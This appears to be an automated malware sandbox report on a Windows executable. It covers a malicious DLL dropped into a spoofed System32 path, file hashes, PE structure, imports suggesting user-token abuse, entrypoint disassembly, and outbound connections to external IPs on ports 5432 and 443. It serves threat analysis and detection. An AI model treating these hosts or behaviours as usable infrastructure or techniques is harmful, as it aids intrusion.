Process:	C:\Windows \System32\printui.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	90624
Entropy (8bit):	6.509332615593886
Encrypted:	false
SSDEEP:	1536:Wc9wKxbEwda1CzUbFfbpVxyRyxpGTlKAbe6IOcIOZyyFz5o9X2153:7uKxbEwUEAhbprCOGTKISZyuVo9GT
MD5:	F53D1EFEA4855DA42DA07DE49D80BA68
SHA1:	920349F4BD5A5B8E77195C81E261DFA2177EB1EE
SHA-256:	7E9F43688189578042D791E3E5301165316EDC7C1ED739E0669C033A3CA08037
SHA-512:	5D72F64B8E5C42A3C9A7BCBBE8A1598A85402ADE4F312AB9E26869F8B39952A3AA037F2CF7DA89E686C5BC3FCB221FEEAE077B9FFD2EEF98DAC0E307637FE7BD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b...&.i.&.i.&.i./.....i.6qh.%.i.6q..".i.6qj.%.i.6qm...i.6ql.*.i.Vth.$.i.&.h...i.npm.).i.npi.'.i.np..'.i.&...'.i.npk.'.i.Rich&.i.........PE..d...a..f.........." ...)..................................................................`..........................................O......@W..........P....p..@...............l....>..T...........................`=..@...............x............................text............................... ..`.rdata...l.......n..................@..@.data........`.......L..............@....pdata..@....p.......N..............@..@.rsrc...P............Z..............@..@.reloc..l............`..............@..B........................................................................................................................................................................................................................................

C:\Windows\Temp\__PSScriptPolicyTest_02ha3yoz.y5x.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_2x3y5kgk.lu5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_bwuf24py.w0q.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_edt1bxfd.0qp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ee1z3k0s.qzg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_gu3lsllu.nah.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_kpo5asxk.olo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_odasid52.jgp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_pqt43zuq.tvq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_sifbvfk0.v4h.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_svfm00zq.wlf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_utsp1gnm.uui.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_viig1kqk.sll.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_vwrdx33q.vk0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_yrvppuwk.mqs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_zu2y31t2.mzr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.555556347881242
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	58VSNPxrI4.exe
File size:	14'664'704 bytes
MD5:	228c09c31156d45dfe94195bb34d1399
SHA1:	20c6ce4757be1399032b2ac6873dc505c1d02839
SHA256:	b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb
SHA512:	003557ad24f826143a50cce81b56489c7768951ecdfef9b01fe645f5453ae8cf36bd1b2b6e5e3bd8d27131cf3a2d54d20b7c699ae582e2528b65aee8a560f40c
SSDEEP:	393216:hPsdXtBcda7nzo7Vd7Qv1CPwDvt3uFRCyGTQP76NuudqfZnXSdEVB3:hITk1
TLSH:	4DE68D5AB7A900A9E477C278C5975217F772B81103709BDB1BA496B91F33BD0EE3A700
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A1E..P+..P+..P+.w....P+.w./..P+.w.(..P+...(..P+.../..P+....._P+.w...P+..P..P+..."..P+......P+...)..P+.Rich.P+.........PE..d..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140026658
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67654F5F [Fri Dec 20 11:05:03 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	670a8ec7c6d911c03a319eb0c0fda685

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F6760B2AD08h
dec eax
add esp, 28h
jmp 00007F6760B2A24Fh
int3
int3
dec eax
sub esp, 28h
dec ebp
mov eax, dword ptr [ecx+38h]
dec eax
mov ecx, edx
dec ecx
mov edx, ecx
call 00007F6760B2A3E2h
mov eax, 00000001h
dec eax
add esp, 28h
ret
int3
int3
int3
inc eax
push ebx
inc ebp
mov ebx, dword ptr [eax]
dec eax
mov ebx, edx
inc ecx
and ebx, FFFFFFF8h
dec esp
mov ecx, ecx
inc ecx
test byte ptr [eax], 00000004h
dec esp
mov edx, ecx
je 00007F6760B2A3E5h
inc ecx
mov eax, dword ptr [eax+08h]
dec ebp
arpl word ptr [eax+04h], dx
neg eax
dec esp
add edx, ecx
dec eax
arpl ax, cx
dec esp
and edx, ecx
dec ecx
arpl bx, ax
dec edx
mov edx, dword ptr [eax+edx]
dec eax
mov eax, dword ptr [ebx+10h]
mov ecx, dword ptr [eax+08h]
dec eax
mov eax, dword ptr [ebx+08h]
test byte ptr [ecx+eax+03h], 0000000Fh
je 00007F6760B2A3DDh
movzx eax, byte ptr [ecx+eax+03h]
and eax, FFFFFFF0h
dec esp
add ecx, eax
dec esp
xor ecx, edx
dec ecx
mov ecx, ecx
pop ebx
jmp 00007F6760B2A04Eh
int3
dec eax
mov dword ptr [esp+10h], ebx
dec eax
mov dword ptr [esp+18h], esi
push ebp
push edi
inc ecx
push esi
dec eax
mov ebp, esp
dec eax
sub esp, 10h
xor eax, eax
xor ecx, ecx
cpuid
inc esp
mov eax, ecx
inc esp
mov edx, edx
inc ecx
xor edx, 49656E69h
inc ecx
xor eax, 6C65746Eh
inc esp
mov ecx, ebx
inc esp
mov esi, eax
xor ecx, ecx

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xdf6d84	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe00000	0x1e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xdfb000	0x3990	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe01000	0xa84	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xdef640	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xdef500	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x42000	0x3a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x401c0	0x40200	7e7af9824a1ecaab91d08d883e6c58e1	False	0.5116578338206628	data	6.455695053837932	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x42000	0xdb5a0a	0xdb5c00	599d0ef5af81139735ec1926aa267a43	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xdf8000	0x2ef0	0x1800	71489ac90d03a11ae4c0277ac0194539	False	0.18505859375	DOS executable (block device driver)	3.2411881026098075	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xdfb000	0x3990	0x3a00	e88e23efaca95868c109cbcc6abeec3d	False	0.4774380387931034	data	5.631575537976179	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.fptable	0xdff000	0x100	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xe00000	0x1e8	0x200	023deb8c7350ae93fdd16d73de779d8e	False	0.541015625	data	4.756146432197578	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe01000	0xa84	0xc00	13f75fec917993ceb253d090e12e5a2f	False	0.4716796875	data	5.144439829458611	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0xe00060	0x188	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5892857142857143

Imports

DLL	Import
WTSAPI32.dll	WTSQueryUserToken
KERNEL32.dll	GetSystemDirectoryW, OpenProcess, CreateToolhelp32Snapshot, Process32NextW, WaitForSingleObject, CloseHandle, WTSGetActiveConsoleSessionId, CreateProcessW, WriteConsoleW, GetModuleFileNameW, TerminateProcess, GetModuleHandleExW, SetEndOfFile, Process32FirstW, CreateDirectoryW, CreateFileW, FindClose, FindFirstFileW, FindFirstFileExW, FindNextFileW, GetFileAttributesExW, GetFileInformationByHandle, SetFileInformationByHandle, AreFileApisANSI, GetLastError, DeviceIoControl, GetModuleHandleW, GetProcAddress, CopyFileW, GetFileInformationByHandleEx, CreateSymbolicLinkW, MultiByteToWideChar, WideCharToMultiByte, LocalFree, FormatMessageA, GetLocaleInfoEx, QueryPerformanceCounter, QueryPerformanceFrequency, GetStringTypeW, Sleep, GetCurrentThreadId, CompareStringEx, InitializeCriticalSectionEx, GetSystemTimeAsFileTime, RtlUnwind, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, IsProcessorFeaturePresent, GetCurrentProcessId, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, RtlUnwindEx, RtlPcToFileHeader, RaiseException, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, GetStdHandle, WriteFile, ExitProcess, GetFileSizeEx, SetFilePointerEx, GetFileType, HeapAlloc, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, HeapFree, HeapReAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, VirtualProtect, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, ReadFile, ReadConsoleW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, HeapSize
ADVAPI32.dll	RegSetValueExW, RegOpenKeyExW, CreateProcessAsUserW, RegQueryValueExW, RegCloseKey

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 16:20:17.451617002 CET	49708	5432	192.168.2.8	194.26.192.189
Dec 20, 2024 16:20:17.572523117 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:17.572650909 CET	49708	5432	192.168.2.8	194.26.192.189
Dec 20, 2024 16:20:17.573303938 CET	49708	5432	192.168.2.8	194.26.192.189
Dec 20, 2024 16:20:17.692995071 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:18.843019009 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:18.861540079 CET	49708	5432	192.168.2.8	194.26.192.189
Dec 20, 2024 16:20:18.981287003 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:19.253673077 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:19.256244898 CET	49708	5432	192.168.2.8	194.26.192.189
Dec 20, 2024 16:20:19.376049042 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:19.650233030 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:19.650504112 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:19.650589943 CET	49708	5432	192.168.2.8	194.26.192.189
Dec 20, 2024 16:20:19.652318954 CET	49708	5432	192.168.2.8	194.26.192.189
Dec 20, 2024 16:20:19.652318954 CET	49708	5432	192.168.2.8	194.26.192.189
Dec 20, 2024 16:20:19.771821976 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:19.771922112 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:20.043757915 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:20.044547081 CET	49708	5432	192.168.2.8	194.26.192.189
Dec 20, 2024 16:20:20.164125919 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:20.434530020 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:20.441181898 CET	49708	5432	192.168.2.8	194.26.192.189
Dec 20, 2024 16:20:20.565058947 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:20.838143110 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:20.838418961 CET	49708	5432	192.168.2.8	194.26.192.189
Dec 20, 2024 16:20:20.958082914 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:21.229191065 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:21.229456902 CET	49708	5432	192.168.2.8	194.26.192.189
Dec 20, 2024 16:20:21.349425077 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:21.621264935 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:21.621366024 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:21.621436119 CET	49708	5432	192.168.2.8	194.26.192.189
Dec 20, 2024 16:20:21.621606112 CET	49708	5432	192.168.2.8	194.26.192.189
Dec 20, 2024 16:20:21.741039038 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:22.012185097 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:22.012413025 CET	49708	5432	192.168.2.8	194.26.192.189
Dec 20, 2024 16:20:22.012476921 CET	49708	5432	192.168.2.8	194.26.192.189
Dec 20, 2024 16:20:22.012629986 CET	49708	5432	192.168.2.8	194.26.192.189
Dec 20, 2024 16:20:22.132019997 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:22.132036924 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:22.132621050 CET	5432	49708	194.26.192.189	192.168.2.8
Dec 20, 2024 16:20:22.132769108 CET	49708	5432	192.168.2.8	194.26.192.189
Dec 20, 2024 16:20:22.160150051 CET	49711	443	192.168.2.8	34.117.59.81
Dec 20, 2024 16:20:22.160200119 CET	443	49711	34.117.59.81	192.168.2.8
Dec 20, 2024 16:20:22.160269976 CET	49711	443	192.168.2.8	34.117.59.81
Dec 20, 2024 16:20:22.176659107 CET	49711	443	192.168.2.8	34.117.59.81
Dec 20, 2024 16:20:22.176685095 CET	443	49711	34.117.59.81	192.168.2.8
Dec 20, 2024 16:20:23.393135071 CET	443	49711	34.117.59.81	192.168.2.8
Dec 20, 2024 16:20:23.393254995 CET	49711	443	192.168.2.8	34.117.59.81
Dec 20, 2024 16:20:23.405493021 CET	49711	443	192.168.2.8	34.117.59.81
Dec 20, 2024 16:20:23.405633926 CET	443	49711	34.117.59.81	192.168.2.8
Dec 20, 2024 16:20:23.405797005 CET	49711	443	192.168.2.8	34.117.59.81
Dec 20, 2024 16:20:28.429970980 CET	49714	443	192.168.2.8	34.117.59.81
Dec 20, 2024 16:20:28.430030107 CET	443	49714	34.117.59.81	192.168.2.8
Dec 20, 2024 16:20:28.430123091 CET	49714	443	192.168.2.8	34.117.59.81
Dec 20, 2024 16:20:28.430460930 CET	49714	443	192.168.2.8	34.117.59.81
Dec 20, 2024 16:20:28.430480003 CET	443	49714	34.117.59.81	192.168.2.8
Dec 20, 2024 16:20:29.642488956 CET	443	49714	34.117.59.81	192.168.2.8
Dec 20, 2024 16:20:29.642568111 CET	49714	443	192.168.2.8	34.117.59.81
